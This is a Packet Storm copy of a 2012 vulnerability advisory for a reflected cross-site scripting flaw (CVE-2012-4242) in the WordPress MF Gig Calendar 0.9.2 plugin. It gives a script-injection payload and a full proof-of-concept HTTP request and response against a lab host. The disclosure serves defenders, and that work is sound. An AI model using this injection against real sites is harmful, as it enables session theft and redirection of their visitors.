exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress MF Gig Calendar 0.9.2 Cross Site Scripting

WordPress MF Gig Calendar 0.9.2 Cross Site Scripting
Posted Sep 20, 2012
Authored by Joseph Sheridan, Chris Cooper | Site reactionpenetrationtesting.co.uk

WordPress MF Gig Calendar plugin version 0.9.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2012-4242
SHA-256 | c0e1143e484b74d6ece34e62ebffd227079faf6c38d75dd73c87dd12b2bf6c21

WordPress MF Gig Calendar 0.9.2 Cross Site Scripting

Change Mirror Download
/---------------------------------------------------------\
| MF Gig Calendar Wordpress Plugin - Cross-Site Scripting |
\---------------------------------------------------------/


Summary
=======

MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The value of a generic parameter was not sufficiently sanitised before being written to the calendar page. An attacker could distribute a malicious URL that would trigger this vulnerability and potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.

CVE number: CVE-2012-4242
Impact: Medium
Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
Vendor notified: 20/07/2012, 07/08/2012
Vendor response: No reply was received from the author
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html


Affected Products
======== ========

MF Gig Calendar 0.9.2. Other versions may be affected.


Details
=======

A generic parameter on the calendar page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL as an additional parameter (following an '&'). This code is then passed into an anchor href parameter without sanitisation, and executed by the browser.

Injecting the following Javascript code into a generic parameter on the calendar page will trigger the vulnerability, causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

---
Example 1 Request:
+-----------------

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-1=hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1342447051; PHPSESSID=ls61d5ov9vugrfhgu45urh4n55

---
Example 1 Response:
+------------------

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2012 09:00:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
X-Pingback: http://192.168.0.6/wp/xmlrpc.php
Content-Length: 6835
Content-Type: text/html; charset=UTF-8

--- SNIP ---
<div class="entry-content">
<h2>Upcoming Events</h2><div id="cal_nav"><strong>Upcoming</strong> | Archive: <a href="?page_id=2&"><script>alert('xsstest')</script>=&ytd=2012">2012</a> </div><ul id="cal">
--- SNIP ---


Impact
======

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.


Solution
========

At the time of writing, no patch has been released by the vendor.


Distribution
============

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:


http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html

==============================================================================

Reaction Information Security
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk


Joseph Sheridan
Director
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe@reactionis.co.uk

Reaction Information Security Limited.
Registered in England No: 6929383
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ

This email and any files transmitted with it are confidential and are intended solely for the use of the individual to whom they are addressed. If you are not the intended recipient please notify the sender. Any unauthorised dissemination or copying of this email or its attachments and any use or disclosure of any information contained in them, is strictly prohibited.

 Please consider the environment before printing this email


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close